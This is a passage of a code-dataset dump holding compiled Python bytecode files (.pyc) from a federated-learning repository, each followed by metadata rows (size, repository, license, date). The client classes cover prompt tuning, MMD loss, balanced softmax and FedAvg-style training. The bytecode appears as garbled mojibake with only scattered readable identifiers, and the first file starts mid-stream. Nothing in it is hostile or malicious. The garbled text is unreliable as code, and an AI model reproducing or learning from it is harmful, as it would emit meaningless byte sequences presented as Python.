fS)Nré)Údim)Úclasses)ÚaxisÚmicro)Úaverage)r/r ÚtorÚevalÚtorchÚno_gradÚtypeÚsumÚargmaxÚitemÚshapeÚappendÚdetachÚcpuÚnumpyrÚnpÚarangerÚ concatenaterZ roc_auc_score) r ZtestloaderfullZtest_accZtest_numZy_probZy_trueÚxÚyÚoutputZaucr$r$r%Ú test_metricsJs.       H zClient.test_metricscCs¼| ¡}|j |j¡|j ¡d}d}|D]|\}}t|ƒtgƒkrZ|d |j¡|d<n | |j¡}| |j¡}| |¡}||jd7}|| ||¡ ¡|jd7}q,|j  ¡||fS)Nr) r-r rDrrErHrLÚlossrKrO)r Ú trainloaderZ train_numrXrTrUrVr$r$r%Ú train_metricsns       zClient.train_metricsc CsT|dkr|j}tj |¡s$t |¡t |tj |dt|j ƒd|d¡¡dS©NZclient_Ú_z.pt) rÚosÚpathÚexistsÚmakedirsrFÚsaveÚjoinÚstrr)r rKÚ item_nameÚ item_pathr$r$r%Ú save_item–s   zClient.save_itemcCs8|dkr|j}t tj |dt|jƒd|d¡¡Sr[)rrFÚloadr]r^rbrcr)r rdrer$r$r%Ú load_item�szClient.load_item)N)N)N)N)Ú__name__Ú __module__Ú __qualname__Ú__doc__r&r-r/r7r;r=rWrZrfrhr$r$r$r%r s  $( r)r rFÚtorch.nnrrPrQr]Útorch.nn.functionalÚ functionalÚFÚtorch.utils.datarZsklearn.preprocessingrZsklearnrZutils.data_utilsrÚobjectrr$r$r$r%Ú<module>s     
4,448
Python
.py
40
109.925
425
0.432978
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,688
clientfomo.cpython-39.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientfomo.cpython-39.pyc
a f¾`c·ã@sdddlZddlmZddlZddlZddlZddlmZddl m Z ddl m Z Gdd„deƒZ dS)éN)ÚClient)Ú DataLoader)Úread_client_datacsneZdZ‡fdd„Zdd„Zddd„Zdd „Zd d „Zd d „Zdd„Z dd„Z dd„Z dd„Z dd„Z ‡ZS)Ú clientFomoc s�tƒj||||fi|¤�|j|_t |j¡|_g|_g|_t j |j|j d�|_ t  ¡|_t jj|j ¡|jd�|_d|_|jd|j|_dS)N)Údevice)Úlrgš™™™™™É?é)ÚsuperÚ__init__Ú num_clientsÚcopyÚdeepcopyÚmodelÚ old_modelÚ received_idsÚreceived_modelsÚtorchÚzerosrÚ weight_vectorÚnnÚCrossEntropyLossÚlossÚoptimÚSGDÚ parametersÚ learning_rateÚ optimizerÚ val_ratioÚ train_samples)ÚselfÚargsÚidrÚ test_samplesÚkwargs©Ú __class__©ús/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientfomo.pyr s zclientFomo.__init__c Cs2| ¡\}}t ¡}| |¡| |j|j¡|j ¡|j}|jrVt j   d|d¡}t |ƒD]¢}|D]˜\}}t |ƒt gƒkr”|d |j¡|d<n | |j¡}| |j¡}|jrÌt dt  t j  ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j ¡qfq^|jdd7<|jdt ¡|7<dS)Nrérgš™™™™™¹?Ú num_roundsÚ total_cost)Úload_train_dataÚtimeÚaggregate_parametersÚ clone_modelrrÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚtypeÚtorÚsleepÚabsÚrandrÚ zero_gradrÚbackwardÚstepÚtrain_time_cost) rÚ trainloaderÚ val_loaderÚ start_timeÚmax_local_stepsr=ÚxÚyÚoutputrr&r&r'r/s.          zclientFomo.trainNcCsz|dkr|j}t|j|jdd�}t|jt|ƒƒ }||d…}|d|…}t||jddd�}t||j|jdd�}||fS)NT)Úis_train)Ú drop_lastÚshuffle) Ú batch_sizerÚdatasetr!ÚintrÚlenrÚ has_BatchNorm)rrIÚ train_dataÚval_idxZval_datar?r@r&r&r'r+?s  zclientFomo.load_train_datacCs¨| ¡\}}|j ¡d}d}|D]|\}}t|ƒtgƒkrP|d |j¡|d<n | |j¡}| |j¡}| |¡}||jd7}|| ||¡ ¡|jd7}q"||fS©Nr) r+rÚevalr6r7rÚshaperÚitem)rr?r@Ú train_numrrCrDrEr&r&r'Ú train_metricsLs       zclientFomo.train_metricscCs||_||_dS©N)rr)rÚidsÚmodelsr&r&r'Úreceive_modelscszclientFomo.receive_modelscCs–g}| |j|¡}|jD]h}g}t| ¡|j ¡ƒD]\}}| || d¡¡q4t |¡}| || ||¡t  |¡d¡q|  |¡t  |¡S)Néÿÿÿÿgñh㈵øä>) Úrecalculate_lossrrÚziprÚappendÚviewrÚcatÚnormÚweight_vector_updateÚtensor)rr@Ú weight_listÚLÚreceived_modelZ params_difZparam_nZparam_ir&r&r'Ú weight_calgs  & zclientFomo.weight_calcCsTt |j¡|_t||jƒD]\}}|j|| ¡7<qt |j¡  |j ¡|_dSrV) r2rr rr\rrSrrbr7r)rrcÚwr!r&r&r'ra‚szclientFomo.weight_vector_updatecCs|d}|D]f\}}t|ƒtgƒkr6|d |j¡|d<n | |j¡}| |j¡}||ƒ}| ||¡}|| ¡7}q|t|ƒSrP)r6r7rrrSrL)rZ new_modelr@rdrCrDrErr&r&r'r[Œs    zclientFomo.recalculate_losscCs:t|j ¡| ¡ƒD] \}}|j|j ¡|7_qdSrV)r\rrÚdataÚclone)rrgreÚparamZreceived_paramr&r&r'Úadd_parametersšszclientFomo.add_parameterscCs\| | |¡¡}t|ƒdkrX|j ¡D]}|j ¡q&t||jƒD]\}}|  ||¡qBdSrP) Ú weight_scalerfrLrrrhÚzero_r\rrk)rr@Úweightsrjrgrer&r&r'r-�s   zclientFomo.aggregate_parameterscsNt |t d¡¡}t |¡‰ˆdkr@‡fdd„|Dƒ}t |¡St g¡SdS)Nrcsg|] }|ˆ‘qSr&r&)Ú.0rg©Úw_sumr&r'Ú <listcomp>¬óz+clientFomo.weight_scale.<locals>.<listcomp>)rÚmaximumrbÚsum)rrnr&rpr'rl¨s   zclientFomo.weight_scale)N)Ú__name__Ú __module__Ú __qualname__r r/r+rUrYrfrar[rkr-rlÚ __classcell__r&r&r$r'r s #   r)rÚtorch.nnrÚnumpyr2r,r Úflcore.clients.clientbaserÚtorch.utils.datarÚutils.data_utilsrrr&r&r&r'Ú<module>s    
5,040
Python
.py
45
110.844444
841
0.410729
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,689
clientphp.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientphp.cpython-38.pyc
U ”jfcXã@sVddlZddlZddlmZddlZddlZddlmZGdd„deƒZ ddd„Z dS) éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientPHPc sxtƒj||||f|�t ¡|_tjj|j  ¡|j d�|_ |j |j |_ |j|_t |j¡|_|j  ¡D] }d|_qhdS)N)ÚlrF)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizerÚmuÚ global_roundsÚlamdaÚcopyÚdeepcopyÚmodel_sÚ requires_grad)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargsÚparam©Ú __class__©õKD:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientphp.pyr s zclientPHP.__init__c Cs€| ¡}t ¡}|j |j¡|j |j¡|j ¡|j}|jrTt j   d|d¡}t |ƒD]Ş}t |ƒD]Ğ\}\}}t|ƒtgƒkrš|d |j¡|d<n | |j¡}| |j¡}|jrÒt dt  t j  ¡¡¡|j ¡| |¡}| ||¡d|j} | t|j |¡|j |¡d|jƒ|j7} |  ¡|j ¡qhq\|j ¡|j ¡|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?ÚrbfÚ num_roundsÚ total_cost)Úload_train_dataÚtimer ÚtoÚdevicerÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradr rÚMMDÚbaseÚbackwardÚstepÚcpuÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr<ÚiÚxÚyÚoutputr r!r!r"r,s4      *  zclientPHP.traincCsl|j|}t| ¡|j ¡ƒD]\}}|j ¡|_qt| ¡|j ¡ƒD]\}}|d||||_qHdS)Nr#)rÚziprrÚdataÚcloner )rr ÚRrÚ new_paramÚ old_paramr!r!r"Úset_parameters<s  zclientPHP.set_parameters)Ú__name__Ú __module__Ú __qualname__rr,rLÚ __classcell__r!r!rr"r s #rr=cCsÀt || ¡¡t || ¡¡t || ¡¡}}}| ¡ d¡ |¡}| ¡ d¡ |¡}| ¡|d|} | ¡|d|} | ¡|d|} t |j¡ |¡t |j¡ |¡t |j¡ |¡} } }|dk�rFddddg}|D]X}| |d|d| d 7} | |d|d| d 7} ||d|d| d 7}qì|d k�rªd d d dg}|D]H}| t  d| |¡7} | t  d| |¡7} |t  d| |¡7}�q`t  | | d|¡S)a Emprical maximum mean discrepancy. The lower the result the more evidence that distributions are the same. Args: x: first sample, distribution P y: second sample, distribution Q kernel: kernel type such as "multiscale" or "rbf" rg@Z multiscalegš™™™™™É?gà?gÍÌÌÌÌÌì?gÍÌÌÌÌÌô?r$éÿÿÿÿr%é ééé2gà¿) r ÚmmÚtÚdiagÚ unsqueezeÚ expand_asÚzerosÚshaper*ÚexpÚmean)rCrDÚkernelr+ÚxxÚyyÚzzÚrxÚryZdxxZdyyZdxyÚXXÚYYZXYZbandwidth_rangeÚar!r!r"r9Fs. 4ş     r9)r=) rr Útorch.nnrÚnumpyr/r)Úflcore.clients.clientbaserrr9r!r!r!r"Ú<module>s  <
3,313
Python
.py
42
76.809524
284
0.420361
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,690
clientt.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientt.cpython-38.pyc
U œMgcÜ ã@sLddlZddlmZddlZddlZddlmZddlZGdd„deƒZ dS)éN)ÚClientcs4eZdZ‡fdd„Zdd„Zdd„Zdd„Z‡ZS) ÚclientTc sltƒj||||f|�t ¡|_tjj|jj   ¡|j d�|_ tjj|jj   ¡|j d�|_| ¡|j|_dS)N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ generatorÚ parametersÚ learning_rateÚ poptimizerÚbaseÚ optimizerÚser_paraÚ plocal_steps)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©õBD:\京东\promot\cifar\cifar\tiny\system\flcore\clients\clientt.pyr s  zclientT.__init__cCsxt |j¡t |jjjj¡|jjj_t |jjjj¡|jjj_t |jjj j¡|jjj _t |jjj j¡|jjj _dS©N) r Ú manual_seedrÚ rand_liker rZpad_downÚdataÚpad_leftÚ pad_rightZpad_up)rrrrrs  zclientT.ser_parac CsÖ| ¡}t ¡}t |jj¡}|j |j¡|j ¡|j }|j rTt j   d|d¡}|jj ¡D] }d|_q`|jj ¡D] }d|_qxt|ƒD]¬}t|ƒD]�\}\}} t|ƒtgƒkrÊ|d |j¡|d<n | |j¡}|  |j¡} |j �rt dt  t j  ¡¡¡|j ¡| |¡} | | | ¡} |  ¡|j ¡q˜qŒ|j ¡t |jj¡} d} t| ¡|  ¡ƒD]<\}}||}t |dk|t  |¡|¡}| t !|¡} �qh|j"dd7<|j"dt ¡|7<| S) NééTFrgš™™™™™¹?Ú num_roundsÚ total_cost)#Úload_train_dataÚtimeÚcopyÚdeepcopyr rÚtoÚdeviceÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintrrÚ requires_gradÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradr ÚbackwardÚstepÚcpuÚzipr ÚwhereÚ zeros_likeÚsumÚtrain_time_cost)rÚ trainloaderÚ start_timeÚ old_promptÚmax_local_stepsÚparamr?ÚiÚxÚyÚoutputr Ú new_promptÚ diff_provalueÚ new_paramÚ old_paramÚdiff_prorrrr0sF        z clientT.traincCs0t| ¡|jj ¡ƒD]\}}|j ¡|_qdSr )rArr rr#Úclone)rrrQrRrrrÚset_parametersOszclientT.set_parameters)Ú__name__Ú __module__Ú __qualname__rrr0rUÚ __classcell__rrrrr s 0r) r Útorch.nnrÚnumpyr3r+Úflcore.clients.clientbaserr,rrrrrÚ<module>s   
2,593
Python
.py
32
79.875
304
0.440281
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,691
clientavg.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientavg.cpython-37.pyc
B È:ccªã@sDddlZddlmZddlZddlZddlmZGdd„deƒZdS)éN)ÚClientcs$eZdZ‡fdd„Zdd„Z‡ZS)Ú clientAVGc s>tƒj||||f|�t ¡|_tjj|j  ¡|j d�|_ dS)N)Úlr) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersZ learning_rateÚ optimizer)ÚselfÚargsÚidZ train_samplesZ test_samplesÚkwargs)Ú __class__©úF/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientavg.pyr s zclientAVG.__init__c CsX| ¡}t ¡}|j |j¡|j ¡|j}|jrFtj   d|d¡}xÖt |ƒD]Ê}xÄt |ƒD]¸\}\}}t |ƒt gƒkr�|d |j¡|d<n | |j¡}| |j¡}|jrÈt dt tj  ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j�r t|j|t|ƒƒq^|j ¡q^WqPW|j ¡|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?Z num_roundsÚ total_cost)Zload_train_dataÚtimer ÚtoÚdeviceÚtrainÚ local_stepsZ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradr ÚbackwardZprivacyZdp_stepÚlenÚstepÚcpuZtrain_time_cost) rZ trainloaderÚ start_timeZmax_local_stepsr+ÚiÚxÚyÚoutputr rrrrs2       zclientAVG.train)Ú__name__Ú __module__Ú __qualname__rrÚ __classcell__rr)rrr s r) r Útorch.nnrÚnumpyrrZflcore.clients.clientbaserrrrrrÚ<module>s   
1,638
Python
.py
20
80.75
314
0.46572
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,692
clientper.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientper.cpython-37.pyc
B vùec€ã@sLddlZddlZddlmZddlZddlZddlmZGdd„deƒZ dS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientPerc s>tƒj||||f|�t ¡|_tjj|j  ¡|j d�|_ dS)N)Úlr) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizer)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs)Ú __class__©úF/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientper.pyr s zclientPer.__init__c Cs<| ¡}t ¡}|j |j¡|j ¡|j}|jrFtj   d|d¡}xºt |ƒD]®}x¨t |ƒD]œ\}\}}t |ƒt gƒkr�|d |j¡|d<n | |j¡}| |j¡}|jrÈt dt tj  ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j ¡q^WqPW|j ¡|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?Ú num_roundsÚ total_cost)Úload_train_dataÚtimer ÚtoÚdeviceÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradr ÚbackwardÚstepÚcpuÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr0ÚiÚxÚyÚoutputr rrrr"s.       zclientPer.traincCs4x.t| ¡|jj ¡ƒD]\}}|j ¡|_qWdS)N)Úziprr ÚbaseÚdataÚclone)rr Ú new_paramÚ old_paramrrrÚset_parameters0s zclientPer.set_parameters)Ú__name__Ú __module__Ú __qualname__rr"r@Ú __classcell__rr)rrr s  r) Úcopyr Útorch.nnrÚnumpyr%rÚflcore.clients.clientbaserrrrrrÚ<module>s   
1,835
Python
.py
20
90.6
290
0.461454
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,693
clientbabu.cpython-39.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientbabu.cpython-39.pyc
a f¾`cÊ ã@sLddlZddlZddlmZddlZddlZddlmZGdd„deƒZ dS)éN)ÚClientcs<eZdZ‡fdd„Zdd„Zdd„Zddgfd d „Z‡ZS) Ú clientBABUc sdtƒj||||fi|¤Žt ¡|_tjj|jj   ¡|j d�|_ |j |_ |jj  ¡D] }d|_qTdS)N)ÚlrF)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ parametersÚ learning_rateÚ optimizerÚfine_tuning_stepsÚ predictorÚ requires_grad)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargsÚparam©Ú __class__©ús/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientbabu.pyr s  zclientBABU.__init__c Cs| ¡}t ¡}|j ¡|j}|jr8tj d|d¡}t |ƒD]ª}t |ƒD]œ\}\}}t |ƒt gƒkr~|d  |j ¡|d<n |  |j ¡}|  |j ¡}|jr¶t dt tj ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j ¡qLq@|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?Ú num_roundsÚ total_cost)Úload_train_dataÚtimer ÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚtoÚdeviceÚsleepÚabsÚrandrÚ zero_gradr ÚbackwardÚstepÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr6ÚiÚxÚyÚoutputr rrrr&s*       zclientBABU.traincCs0t| ¡|jj ¡ƒD]\}}|j ¡|_qdS)N)Úziprr rÚdataÚclone)rrÚ new_paramÚ old_paramrrrÚset_parameters6szclientBABU.set_parametersrrc Csì| ¡}|j ¡d|vr2|jj ¡D] }d|_q&d|vrR|jj ¡D] }d|_qFt|jƒD]Š}t|ƒD]|\}\}}t |ƒt gƒkrš|d  |j ¡|d<n |  |j ¡}|  |j ¡}|j   ¡| |¡}| ||¡} |  ¡|j  ¡qhq\dS)NrTrFr)r$r r&rrrr,rr-r.r/r0rr4r r5r6) rZ which_moduler8rr6r;r<r=r>r rrrÚ fine_tune:s&      zclientBABU.fine_tune)Ú__name__Ú __module__Ú __qualname__rr&rDrEÚ __classcell__rrrrr s  r) Úcopyr Útorch.nnrÚnumpyr)r%Úflcore.clients.clientbaserrrrrrÚ<module>s   
2,521
Python
.py
34
72.941176
280
0.430868
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,694
clientrod.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientrod.cpython-37.pyc
B ,fc±ã@s€ddlZddlZddlmZddlZddlZddlmZddl mm Z ddl m Z ddlmZGdd„deƒZd dd „ZdS) éN)ÚClient)Úlabel_binarize)Úmetricscs.eZdZ‡fdd„Zdd„Zddd„Z‡ZS) Ú clientRODc  s´tƒj||||f|�t ¡|_tjj|j  ¡|j d�|_ t   |jj¡|_tjj|j  ¡|j d�|_t |j¡|_| ¡}x4|D],\}}x"|D]} |j|  ¡d7<q�Wq€WdS)N)Úlré)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizerÚcopyÚdeepcopyÚ predictorÚpredÚopt_predÚzerosÚ num_classesÚsample_per_classÚload_train_dataÚitem) ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargsÚ trainloaderÚxÚyÚyy)Ú __class__©úF/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientrod.pyr s  zclientROD.__init__c Cs‚| ¡}t ¡}|j |j¡|j |j¡|j ¡|j}|jrTt j   d|d¡}xèt |ƒD]Ü}xÖt |ƒD]Ê\}\}}t|ƒtgƒkr�|d |j¡|d<n | |j¡}| |j¡}|j |¡}|j |¡} t|| |jƒ} |j ¡|  ¡|j ¡| | ¡¡} | |  ¡| |¡} |j ¡|  ¡|j ¡qlWq^W|j ¡|j ¡|jdd7<|jdt ¡|7<dS)NrérÚ num_roundsÚ total_cost)rÚtimerÚtoÚdevicerÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚbaserÚbalanced_softmax_lossrrÚ zero_gradÚbackwardÚstepÚdetachr rÚcpuÚtrain_time_cost) rr$Ú start_timeÚmax_local_stepsr>Úir%r&ÚrepÚout_gZloss_bsmÚout_pr r)r)r*r1s:          zclientROD.trainNc CsÜ| ¡}|dkr|j}|j |j¡|j |j¡| ¡d}d}g}g}t ¡��8�x.|D�]$\}}t|ƒtgƒkr�|d |j¡|d<n | |j¡}| |j¡}|j  |¡} |j  | ¡} | |   ¡¡} |   ¡| } |t  tj | dd�|k¡ ¡7}||jd7}| t | ¡  ¡ ¡ ¡¡|j} |jdk�r<| d7} t|  ¡ ¡ ¡t | ¡d�}|jdk�rz|dd…dd…f}| |¡q^WWdQRX|j ¡|j ¡tj|dd�}tj|dd�}tj||dd�}|||fS) Nrr)Údimr+)Úclasses)ÚaxisÚmicro)Úaverage)Úload_test_datarr/r0rÚevalr Úno_gradr9r:rr?ÚsumÚargmaxrÚshapeÚappendÚFÚsoftmaxr@Únumpyrrr4ÚarangeÚ concatenaterÚ roc_auc_score)rrÚ testloaderÚtest_accÚtest_numÚy_probÚy_truer%r&rErFrGÚoutputÚncÚlbÚaucr)r)r*Ú test_metricsDsH           zclientROD.test_metrics)N)Ú__name__Ú __module__Ú __qualname__r r1rcÚ __classcell__r)r))r(r*r s 'rÚmeancCsB| |¡}| d¡ |jdd¡}|| ¡}tj|||d�}|S)a}Compute the Balanced Softmax Loss between `logits` and the ground truth `labels`. Args: labels: A int tensor of size [batch]. logits: A float tensor of size [batch, no_of_classes]. sample_per_class: A int tensor of size [no of classes]. reduction: string. One of "none", "mean", "sum" Returns: loss: A float tensor. Balanced Softmax Loss. réÿÿÿÿ)ÚinputÚtargetÚ reduction)Útype_asÚ unsqueezeÚexpandrRÚlogrTÚ cross_entropy)ÚlabelsÚlogitsrrlZspcr r)r)r*r;ts  r;)rh)rr Útorch.nnr rVr4r.Úflcore.clients.clientbaserÚtorch.nn.functionalÚ functionalrTÚsklearn.preprocessingrÚsklearnrrr;r)r)r)r*Ú<module>s    h
3,840
Python
.py
43
87.139535
536
0.446932
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,695
clientbn.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientbn.cpython-37.pyc
B úec›ã@sDddlZddlmZddlZddlZddlmZGdd„deƒZdS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)ÚclientBNc s>tƒj||||f|�t ¡|_tjj|j  ¡|j d�|_ dS)N)Úlr) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizer)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs)Ú __class__©úE/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientbn.pyr s zclientBN.__init__c Csœ| ¡}t ¡}|j |j¡|j ¡|j}|jrFtj   d|d¡}xÖt |ƒD]Ê}xÄt |ƒD]¸\}\}}t |ƒt gƒkr�|d |j¡|d<n | |j¡}| |j¡}|jrÈt dt tj  ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j�r t|j|t|ƒƒq^|j ¡q^WqPW|j ¡|jdd7<|jdt ¡|7<|j�r˜t|jƒ\} } td|j›�d| dd ›d | ›d | d›�ƒdS) Néérgš™™™™™¹?Ú num_roundsÚ total_costzClient u(ε = z.2fu, δ = u ) for α = )Úload_train_dataÚtimer ÚtoÚdeviceÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradr ÚbackwardÚprivacyÚdp_stepÚlenÚstepÚcpuÚtrain_time_costZ get_dp_paramsÚprintr) rÚ trainloaderÚ start_timeÚmax_local_stepsr3ÚiÚxÚyÚoutputr ÚresZDELTArrrr"s8       zclientBN.traincCsBx<t| ¡|j ¡ƒD]$\\}}\}}d|kr|j ¡|_qWdS)NÚbn)ÚzipÚnamed_parametersr ÚdataÚclone)rr rr%ÚonÚoprrrÚset_parameters<s&zclientBN.set_parameters)Ú__name__Ú __module__Ú __qualname__rr"rFÚ __classcell__rr)rrr s 'r) r Útorch.nnrÚnumpyr%rÚflcore.clients.clientbaserrrrrrÚ<module>s   
2,058
Python
.py
22
92.409091
301
0.452626
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,696
clientavgpt.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientavgpt.cpython-38.pyc
U ßıcßã@sdddlZddlmZddlZddlZddlmZddlZddl m Z ddl m Z Gdd„deƒZ dS)éN)ÚClient)Úlabel_binarize)Úmetricscs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientAVGPTc s„tƒj||||f|�t ¡|_tjj|jj   ¡|j d�|_ |j |_ tjj|jj  ¡|j|jd�|_tjjj|j|j |jd�|_dS)N)Úlr)rÚmomentum)Ú step_sizeÚgamma)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ parametersÚ learning_rateÚ optimizerÚ plocal_stepsÚ generatorÚpt_learning_raterÚ poptimizerÚ lr_schedulerÚStepLRÚlearning_decayÚ scheduler)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©õYD:\京东\promot\第二次投稿\å®�验\native - pro\system\flcore\clients\clientavgpt.pyr s ÿÿzclientAVGPT.__init__c CsÒ| ¡}t ¡}t |jj¡}|j |j¡|j ¡|jj   ¡D] }d|_ qB|jj  ¡D] }d|_ qZt |j ƒD]´}t|ƒD]¦\}\}}t|ƒtgƒkr®|d |j¡|d<n | |j¡}| |j¡}|jræt dt tj ¡¡¡|j ¡| |¡} | | |¡} |  ¡|j ¡|j ¡q|qp|j} |j�rFtj d| d¡} |jj   ¡D] }d|_ �qR|jj  ¡D] }d|_ �qlt | ƒD]²}t|ƒD]¢\}\}}t|ƒtgƒk�rÂ|d |j¡|d<n | |j¡}| |j¡}|j�rüt dt tj ¡¡¡|j ¡| |¡} | | |¡} |  ¡|j ¡�q��q‚|j ¡t |jj¡} d} t |  ¡|   ¡ƒD]<\}}||}t! "|dk|t! #|¡|¡}| t! $|¡} �qd|j%dd7<|j%dt ¡|7<| S) NFTrgš™™™™™¹?ééÚ num_roundsÚ total_cost)&Úload_train_dataÚtimeÚcopyÚdeepcopyrrÚtoÚdeviceÚtrainrrÚ requires_gradÚrangerÚ enumerateÚtypeÚ train_slowÚsleepÚnpÚabsÚrandomÚrandrÚ zero_gradrÚbackwardÚsteprÚ local_stepsÚrandintrÚcpuÚziprÚwhereÚ zeros_likeÚsumÚtrain_time_cost)rÚ trainloaderÚ start_timeÚ old_promptÚparamr@ÚiÚxÚyÚoutputrÚmax_local_stepsÚ new_promptÚ diff_provalueÚ new_paramÚ old_paramÚdiff_pror'r'r(r3sj                zclientAVGPT.trainc Csv| ¡}|j |j¡|j ¡d}d}d}g}g}t ¡�ò|D]æ\}}t|ƒtgƒkrp|d |j¡|d<n | |j¡}| |j¡}| |¡} |j |¡} |t  tj | dd�|k¡  ¡7}|t  tj | dd�|k¡  ¡7}||j d7}|  |  ¡ ¡ ¡¡|  t| ¡ ¡ ¡t |j¡d�¡qBW5QRX|j ¡tj|dd�}tj|dd�}tj||dd�} |||| fS)Nrr))Údim)Úclasses)ÚaxisÚmicro)Úaverage)Úload_test_datarr1r2ÚevalrÚno_gradr7rrGÚargmaxÚitemÚshapeÚappendÚdetachrCÚnumpyrr:ÚarangeÚ num_classesÚ concatenaterÚ roc_auc_score) rÚtestloaderfullÚtest_accÚ test_acc2Útest_numÚy_probÚy_truerNrOrPÚoutput2Úaucr'r'r(Ú test_metricscs4         2 zclientAVGPT.test_metrics)Ú__name__Ú __module__Ú __qualname__r r3rqÚ __classcell__r'r'r%r(r s Fr)rÚtorch.nnr rdr:r.Úflcore.clients.clientbaserr/Úsklearn.preprocessingrÚsklearnrrr'r'r'r(Ú<module>s    
3,486
Python
.py
47
72.851064
553
0.432558
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,697
clientproto.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientproto.cpython-37.pyc
